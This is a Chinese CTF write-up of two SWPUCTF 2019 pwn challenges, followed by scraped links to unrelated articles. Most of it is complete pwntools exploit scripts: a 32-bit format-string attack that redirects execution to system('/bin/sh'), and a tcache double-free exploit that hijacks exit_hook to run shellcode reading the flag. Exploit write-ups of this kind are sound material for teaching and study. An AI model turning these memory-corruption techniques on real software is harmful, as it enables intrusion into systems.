来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总)。

SWPUCTF_2019_login

  32位程序,考点是bss段上的格式化字符串。用惯onegadgets了,而对于32位程序来说,onegadgets似乎不太好用,条件太苛刻了。还是用system拿shell好一点。

  我见网上都是打got表拿的shell,我是修改程序执行流程为system拿的shell。

  修改0xffc2e7a8 —▸ 0xffc2e7b8为0xffc2e7a8 —▸ 0xffc2e79c

  然后让0xffc2e79c指向system。第一次输入的name信息输入"/bin/sh\x00"的位置正好可以当作system的参数来拿shell。

 1 from pwn import *
2
3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-x86.so'})
4 libc = ELF('./libc-2.27-x86.so')
5 context.log_level = 'debug'
6
7 def fun(content):
8 p.sendlineafter('again!\n',content)
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 p.sendafter('name: \n','/bin/sh\x00')
14 p.sendlineafter('password: \n','%15$p-%6$p')
15 p.recvuntil('password: ')
16 libc_base = int(p.recv(10),16)-241-libc.symbols['__libc_start_main']
17 p.recvuntil('-')
18 stack = int(p.recv(10),16)
19 print 'libc_base-->'+hex(libc_base)
20 print 'stack-->'+hex(stack)
21 system = libc_base+libc.symbols['system']
22 print 'system-->'+hex(system)
23
24 payload = '%'+str((stack-0xc)&0xff)+'c%6$hhn'
25 fun(payload)
26 payload = '%'+str(system&0xff)+'c%10$hhn'
27 fun(payload)
28
29 system = str(hex(system))
30 system = system[:-2]
31 payload = '%'+str((stack-0xc+1)&0xff)+'c%6$hhn'
32 fun(payload)
33 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
34 fun(payload)
35
36 system = system[:-2]
37 payload = '%'+str((stack-0xc+2)&0xff)+'c%6$hhn'
38 fun(payload)
39 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
40 fun(payload)
41
42 system = system[:-2]
43 payload = '%'+str((stack-0xc+3)&0xff)+'c%6$hhn'
44 fun(payload)
45 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
46 fun(payload)
47
48 p.sendline('wllmmllw')
49 p.interactive()

SWPUCTF_2019_p1KkHeap

  Ubuntu18.04的环境,保护全开,而且有沙箱保护。

  如果调用execve会跳转到0011,会被KILL掉。(我猜的)

  所以这题只能通过orw来拿flag。

  程序存在uaf漏洞,并且对free限制了只可以用3次,所有功能的总次数也有限制。反正我正好,一次不多,一次不少的用完了所有次数。

  free两次,泄露heap地址,同时利用double free来劫持tcache结构体,写入一些数据使得再free的chunk进入unsortedbin而不是tcache,就可以拿到libc的基地址,然后利用结构体任意写。在程序初始化的时候mmap了一块可读可写可执行的地址,往那个地址写orw的shellcode,我最后是打exit_hook为shellcode的地址,程序退出的时候输出了flag。

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11 def add(size):
12 p.sendlineafter('Choice: ','1')
13 p.sendlineafter('size: ',str(size))
14 def edit(index,content):
15 p.sendlineafter('Choice: ','3')
16 p.sendlineafter('id: ',str(index))
17 p.sendafter('content: ',content)
18 def show(index):
19 p.sendlineafter('Choice: ','2')
20 p.sendlineafter('id: ',str(index))
21 def delete(index):
22 p.sendlineafter('Choice: ','4')
23 p.sendlineafter('id: ',str(index))
24
25 add(0x80)
26 delete(0)
27 delete(0)
28 show(0)
29 p.recvuntil('content: ')
30 heap_addr = u64(p.recv(6).ljust(8,'\x00'))
31 print 'haap_addr-->'+hex(heap_addr)
32 add(0x80)
33 edit(1,p64(heap_addr-0x250))
34 add(0x80)
35 add(0x80)
36 edit(3,p64(0x0700000000000000))
37 add(0x80)
38 add(0x80)
39 delete(4)
40 show(4)
41 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.symbols['__malloc_hook']
42 exit_hook = libc_base+0x619060+3840
43 print 'libc_base-->'+hex(libc_base)
44 edit(3,p64(0x0700000000000001)+p64(0)*7+p64(exit_hook)+p64(0)*6+p64(0x66660000))
45 add(0x80)
46 buf = 0x66660000+0x100
47 shellcode = shellcraft.open('./flag')
48 shellcode += shellcraft.read('rax',buf,100)
49 shellcode += shellcraft.write(1,buf,100)
50 payload = asm(shellcode)
51 print len(payload)
52 edit(6,payload)
53 add(0x10)
54 edit(7,p64(0x66660000))
55 print p.recv()

SWPUCTF 2019 pwn writeup的更多相关文章

  1. SWPUCTF 2019总结以及部分WP

    本次SWPUCTF开赛了,一共做了5个misc+2个web,RE和Android没时间看= =,pwn完全不会,果然又是和去年一样划水.题目都出的很不错,做题的时候思路其实也容易想到,剩下几个web有 ...

  2. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  3. 西湖论剑2019部分writeup

    做了一天水了几道题发现自己比较菜,mfc最后也没怼出来,被自己菜哭 easycpp c++的stl算法,先读入一个数组,再产生一个斐波拉契数列数组 main::{lambda(int)#1}::ope ...

  4. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  5. Insomni'hack teaser 2019 - Pwn - 1118daysober

    参考链接 https://ctftime.org/task/7459 Linux内核访问用户空间文件:get_fs()/set_fs()的使用 漏洞的patch信息 https://maltekrau ...

  6. ISCC2018 Reverse & Pwn writeup

    Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...

  7. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

  8. NepCTF pwn writeup

    上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...

  9. HGAME2021 week4 pwn writeup

    第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...

随机推荐

  1. [loj3342]制作菜品

    当$n-1\le m$,不妨令$d_{1}\le d_{2}\le...\le d_{n}$,则$(n-1)k\le mk=\sum_{i=1}^{n}d_{i}\le d_{1}+(n-1)d_{n ...

  2. [bzoj1691]挑剔的美食家

    考虑将奶牛和牧草放在一起,根据鲜嫩程度排序,那么显然就可以发现一个贪心策略:每一头奶牛一定选择当前剩余的最便宜且符合条件的牧草,然后用一个set维护价格即可 1 #include<bits/st ...

  3. 『学了就忘』Linux软件包管理 — 49、拓展:Linux中通过脚本安装程序

    目录 1.脚本程序简介 2.Webmin安装 (1)简介 (2)安装 (3)使用 1.脚本程序简介 脚本程序包并不多见,所以在软件包分类中并没有把它列为一类.它更加类似于Windows下的程序安装,有 ...

  4. .NET Core基础篇之:配置文件读取

    配置文件是每个项目最基础的部分,也是不可或缺的部分,比如:数据库连接.中间件属性等常见的配置. 今天这篇文章主要内容就是,在.Net Core项目中怎样去读取配置文件并使用. 提前准备 appsett ...

  5. Node.js实现前后端交互——用户注册

    我之前写过一篇关于使用Node.js作为后端实现用户登陆的功能,现在再写一下node.js做后端实现简单的用户注册实例吧.另外需要说的是,上次有大佬提醒需要加密数据传输,不应该使用明文传输用户信息.在 ...

  6. 洛谷 P3994 高速公路(斜率优化)

    题目链接 题意:给出一棵树,\(1\) 号点为根,边上有边权. 每个点有两个参数 \(p_i,q_i\) 如果你想从 \(i\) 号点到与其距离为 \(d\) 的 \(j\) 号点,那么你需花费 \( ...

  7. Codeforces 547D - Mike and Fish(欧拉回路)

    Codeforces 题目传送门 & 洛谷题目传送门 首先考虑将题目中的条件转化为图论的语言.看到"行""列",我们很自然地想到二分图中行.列转点,点转 ...

  8. 洛谷 P5643 - [PKUWC2018]随机游走(Min-Max 容斥+FWT+树上高斯消元,hot tea)

    题面传送门 一道挺综合的 hot tea,放到 PKUWC 的 D2T2 还挺喜闻乐见的( 首先我们考虑怎样对一个固定的集合 \(S\) 计算答案,注意到我们要求的是一个形如 \(E(\max(S)) ...

  9. Excel-数据分列的多种方法实现

    2.数据->分列 (数据格式统一的精准分列)<=> 手动快捷键ctrl+E+等待 ("模糊模仿""分列)<=> 用函数实现(精准分列) 用函 ...

  10. 数据库(database)介绍

    0.数据定义:除了文本类型的数据,图像.音乐.声音都是数据. 数据分类:结构化数据.非结构化数据.1.数据库定义:"电子化的文件柜","数据仓库".数据库是一个 ...